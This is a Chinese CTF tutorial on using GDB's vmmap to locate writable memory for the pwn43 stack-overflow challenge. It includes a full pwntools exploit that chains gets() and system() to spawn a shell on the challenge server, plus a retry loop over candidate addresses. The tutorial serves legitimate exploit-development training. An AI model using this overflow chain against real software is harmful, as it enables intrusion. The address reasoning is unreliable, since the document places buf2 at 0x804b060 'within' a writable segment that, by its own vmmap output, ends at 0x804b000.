保姆级调试指南：用GDB的vmmap命令为PWN题寻找‘风水宝地’（以CTFshow pwn43为例）

保姆级调试指南：用GDB的vmmap命令为PWN题寻找‘风水宝地’（以CTFshow pwn43为例）

在CTF竞赛的PWN类题目中，栈溢出漏洞利用往往需要精准控制程序执行流并构造有效的攻击载荷。当遇到需要注入自定义字符串（如/bin/sh）但目标程序中缺乏现成字符串的情况时，如何快速定位可读写内存区域就成为关键突破口。本文将深入解析GDB的vmmap命令在漏洞利用中的实战应用，通过CTFshow平台pwn43题目的完整解题过程，手把手教你掌握这一核心调试技巧。

1. 理解内存布局分析的重要性

现代操作系统通过虚拟内存管理机制为每个进程提供独立的地址空间，这些地址空间被划分为多个具有不同权限的内存段。在漏洞利用过程中，我们需要特别关注具有**可写权限（w）**的内存区域，这些区域通常可以用来存储注入的shellcode或关键字符串。

以32位ELF程序为例，典型的内存布局包含以下关键段：

提示：在漏洞利用中，.data和.bss段往往是理想的"风水宝地"，因为它们通常具有固定的地址且可读写。

2. GDB调试环境准备与基础操作

在开始分析前，我们需要配置好调试环境并掌握基本调试命令。以下是在Linux环境下使用GDB调试pwn43题目的标准流程：

# 安装必要工具 sudo apt install gdb gdb-peda # 启动调试会话 gdb ./pwn43 # 常用GDB命令 break main # 在main函数设置断点 run # 启动程序 vmmap # 查看内存映射 info variables # 查看变量信息 x/20wx $esp # 检查栈内存

当程序在断点处暂停后，执行vmmap命令将输出类似如下的内存映射信息：

Start End Perm Size Offset File 0x8048000 0x8049000 r-xp 0x1000 0x0 /home/ctfshow/pwn43 0x8049000 0x804a000 r--p 0x1000 0x0 /home/ctfshow/pwn43 0x804a000 0x804b000 rw-p 0x1000 0x1000 /home/ctfshow/pwn43 0xf7ff8000 0xf7ffc000 r--p 0x4000 0x0 [vvar] 0xf7ffc000 0xf7ffe000 r-xp 0x2000 0x0 [vdso] 0xfffdd000 0xffffe000 rw-p 0x21000 0x0 [stack]

关键字段解析：

• Start/End：内存区域的起始和结束地址
• Perm：权限标志（r=读，w=写，x=执行，p=私有）
• Size：区域大小（十六进制）
• File：映射来源文件

3. 实战分析：定位可写内存区域

在pwn43题目中，我们需要找到合适的地址来写入/bin/sh字符串。以下是具体分析步骤：

1. 运行程序到关键位置：

   break *ctfshow+25 # 在gets调用后设置断点 continue

2. 检查内存映射：

   vmmap

   重点关注具有rw-p权限的区域，特别是来自目标程序文件的映射段。

3. 识别候选区域： 在示例输出中，0x804a000-0x804b000段具有可读写权限，且属于程序本身的映射区域。进一步检查该区域：

   x/20wx 0x804a000

4. 验证变量位置： 使用info variables命令可以查看全局变量地址，发现buf2位于0x804b060，正好在可写段内。

注意：选择写入地址时应避开可能被程序使用的关键变量区域，最好选择.bss段中未使用的空间。

4. 构造完整利用链

确认可写地址后，我们可以构建完整的利用链。以下是关键步骤和对应的Python exploit代码：

from pwn import * context(arch='i386', os='linux') # 计算偏移量 offset = 0x6C + 4 # 缓冲区长+保存的ebp # 关键地址 system_addr = 0x8048450 buf2_addr = 0x804b060 gets_addr = 0x8048420 # 构造payload payload = ( b'A' * offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr) ) # 发送payload io = remote('pwn.challenge.ctf.show', 28227) io.sendline(payload) io.sendline(b'/bin/sh\x00') # 写入目标地址 io.interactive()

payload结构解析：

1. 偏移填充：b'A'*offset覆盖缓冲区至返回地址
2. 第一次劫持：返回到gets()函数，参数为buf2_addr
3. 第二次劫持：gets()返回后跳转到system()
4. 参数传递：system()的参数同样指向buf2_addr

内存布局变化示意图：

Before overflow: [缓冲区][保存的ebp][返回地址] After overflow: [AAAA...][gets_addr][system_addr][buf2_addr][buf2_addr]

5. 高级技巧与注意事项

在实际比赛中，除了基本的vmmap用法外，还有一些进阶技巧可以提升调试效率：

1. 自动化搜索可写区域：

   python print('\n'.join([i for i in gdb.execute('vmmap', to_string=True).split('\n') if 'rw' in i]))

2. 检查内存段属性变化： 某些题目可能会通过mprotect改变内存权限，建议在关键函数调用前后都检查vmmap输出。

3. 多候选地址验证： 当第一个写入地址不可用时，可以准备多个备选地址：

   candidate_addrs = [0x804b060, 0x804b100, 0x804b200] for addr in candidate_addrs: try: io.sendline(payload_with_addr(addr)) io.sendline(b'/bin/sh') io.interactive() except: continue

4. 结合IDA分析： 在静态分析时就可以关注.data和.bss段的大小，提前标记可能可用的区域。

常见问题排查：

• 如果写入后程序崩溃，检查地址是否真的可写
• 确保字符串以null字节结尾（/bin/sh\x00）
• 注意小端序和大端序系统的地址编码差异

在一次真实的CTF比赛中，我们遇到过一个变种题目，程序在启动后会随机化.bss段的地址。这种情况下，单纯依赖固定地址就会失败。解决方案是通过泄露地址信息或利用部分指针相对偏移来动态计算可写地址。